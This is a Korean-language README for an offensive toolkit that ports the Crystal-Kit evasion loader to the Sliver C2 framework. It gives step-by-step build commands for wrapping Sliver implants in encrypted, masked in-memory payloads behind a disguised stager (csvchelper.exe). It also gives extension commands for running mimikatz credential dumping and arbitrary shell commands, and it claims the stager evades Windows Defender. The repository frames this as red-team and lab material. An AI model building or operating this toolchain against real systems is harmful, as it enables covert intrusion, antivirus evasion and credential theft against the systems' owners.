Sliver용 Crystal Palace 회피 키트
Crystal Palace 우회 키트를 Sliver C2로 포팅한 것입니다.
이것은 rasta-mouse의 Crystal-Kit(Cobalt Strike)을 Sliver로 포팅한 최초의 공개 포트입니다. Crystal-Kit-Xenon(Mythic)이 입증한 동일한 크로스-C2 패턴을 따릅니다.
Sliver의 기본 리플렉티브 로더 및 포스트-익스 실행 경로를 Crystal Palace(Raphael Mudge, BSD)로 대체합니다. 그 결과 다음을 번들로 포함하는 위치 독립 코드(PICO) 블롭이 생성됩니다:
LoadLibrary / GetProcAddress 미사용)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryA에 대한 IAT 후크Sliver 임플란트 DLL(또는 모든 포스트-익스 DLL)은 PICO 내부에서 XOR 마스킹되며 실행 시에만 메모리에서 마스킹이 해제됩니다.
원본 Sliver 임플란트 DLL은 대상에서 직접 실행되지 않습니다. 대신 Crystal Palace로 PICO에 래핑되고, AES-256-CBC로 암호화되며, 이를 메모리에서 복호화하고 실행하는 커스텀 스테이저(~17 KB)와 함께 전달됩니다.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
세션이 활성화되면 Sliver 확장(Extension)을 통해 민감한 DLL(정찰, 자격 증명 덤퍼 등)을 Crystal Palace로 실행할 수 있습니다.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
재빌드 없이 | 뒤에 런타임 인자를 추가하여 전달할 수 있습니다:
sliver > crystal --payload C:/path/file.pico.bin|args here
crystal-loader.x64.dll은 디스크에서 PICO 블롭을 읽어 VirtualAlloc(RW) 영역에 로드하고, VirtualProtect로 RX로 전환한 다음 Crystal Palace 진입점으로 점프하는 Sliver DLL 확장입니다. PAGE_EXECUTE_READWRITE 매핑은 결코 유지되지 않습니다. 경로는 슬래시(forward slash)를 사용합니다. 인자 형식은 type:string입니다(BOF 바이너리 아님). DLL은 Sliver에 의해 메모리에서 로드되며 대상 디스크에 파일로 기록되지 않습니다.
crystal-exec는 같은 확장에 번들로 포함된 두 번째 명령입니다. 확장 DLL에 직접 임베디드된 PICO를 사용하여 Crystal Palace 우회 방식으로 임의의 셸 명령을 실행합니다 — 업로드할 PICO 파일이 필요 없습니다.
sliver > crystal-exec --cmd "whoami /all"
출력은 파이프를 통해 기존 Sliver 세션으로 운영자에게 반환됩니다. 전체 포스트-익스 DLL이 필요하지 않은 일회성 셸 명령에 가장 빠른 방법입니다.
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
전체 운영 절차(Sliver 설치, 리스너 설정, 대상 실행, 문제 해결)는 docs/RUNBOOK.md를 참조하세요.
| 항목 | 상태 | 근거 |
|---|---|---|
| 모든 Crystal-Kit 소스가 MinGW 15.2 + NASM 3.01에서 컴파일됨 | OK | make all 클린, 로더당 8개의 .o + 1개의 .bin |
| Xenon 포스트-익스 패치 적용됨 | OK | dfr "ror13", _DLLARGS_ 섹션, DLL_PROCESS_ATTACH의 dll_arguments 매개변수 |
| Crystal Palace CLI 검증됨 | OK | ./link <spec> <dll> <out.bin> [%KEY=value] — 위치 기반, dist/README에 문서화됨 |
| 엔드투엔드 PICO 빌드(사용 사례 A) | OK | 테스트 DLL에서 117 KB PICO 생성됨 |
| 엔드투엔드 PICO 빌드(사용 사례 B) | OK | postex-loader/loader.spec을 통해 111 KB PICO 생성됨 |
| Sliver 확장 래퍼 DLL 빌드 | OK | crystal-loader.x64.dll ~42 KB, crystal-exec.x64.dll ~75 KB — 둘 다 Initialize 심볼을 내보내는 PE32+; RWX 없음; 스트리핑됨 |
| 확장 타르볼 패킹 정상 | OK | 37 KB 타르볼이 tar -tzf로 검증됨 |
| 커스텀 스테이저 빌드(2파일 전달) | OK | bundle-stager.sh → csvchelper.exe(17 KB, 엔트로피 4.784) + payload.dat(AES-256-CBC) |
| Windows에서의 런타임 실행(사용 사례 A) | OK | Windows 10 x64 FLARE-VM에서 Sliver 세션 수립; 스테이저가 Defender(Wacatac.B!ml + ZomBytes.B)를 통과함 |
| Windows에서의 런타임 실행(사용 사례 B) | OK | crystal --payload C:/path/file.pico.bin — 포스트-익스 PICO를 통해 새 Sliver 세션 수립; 인자 형식이 type:string, 슬래시 경로로 검증됨 |
crystal-exec 명령 | OK | 셸 명령 출력이 파이프를 통해 운영자에게 반환됨; PICO가 확장 DLL에 임베디드되어 업로드 불필요 |
| 의존성 | 라이선스 | 획득 방법 | 번들 포함? |
|---|---|---|---|
Crystal Palace (crystalpalace.jar, link 등) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz | 아니요 (.gitignore가 external/ 제외) |
libtcg.x64.zip | 업스트림 바이너리, 라이선스 미표시(QEMU TCG 파생으로 추정) | 업스트림 Crystal-Kit 저장소에서 복사됨 | 예, 빌드 편의를 위해 트리에 유지됨 |
| Sliver C2 | GPLv3 | https://sliver.sh | 아니요 — 런타임 의존성일 뿐 |
| MinGW-w64 + NASM | GPL 호환 | apt install 또는 brew install | 아니요 |
이 저장소는 crystalpalace.jar를 재배포하지 않습니다. 빌드 파이프라인은 이를 외부에서 가져오며 CRYSTAL_PALACE_HOME 환경 변수를 통해 참조합니다.
업스트림 저작권 및 라이선스 전체 목록은 NOTICE.md를 참조하세요. 간략한 요약:
dll_args 섹션)beacon.h, beacon_compatibility.c/h)docs/PORTING_MAP.md)sliver-glue/ 글루 스크립트 및 확장 매니페스트generate-implant.sh + bundle-implant.shcrystal --payload 동작, 인자 형식을 type:string, 슬래시 경로로 수정)crystal-exec 명령: Crystal Palace를 통한 내장 포스트-익스 셸 실행(업로드 불필요)| 구분자 기반 런타임 인자공격적 보안 도구로, 승인된 레드 팀 작전, 랩 연구 및 교육을 위해 제작되었습니다. 서면 승인을 받은 환경에서만 사용하십시오. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.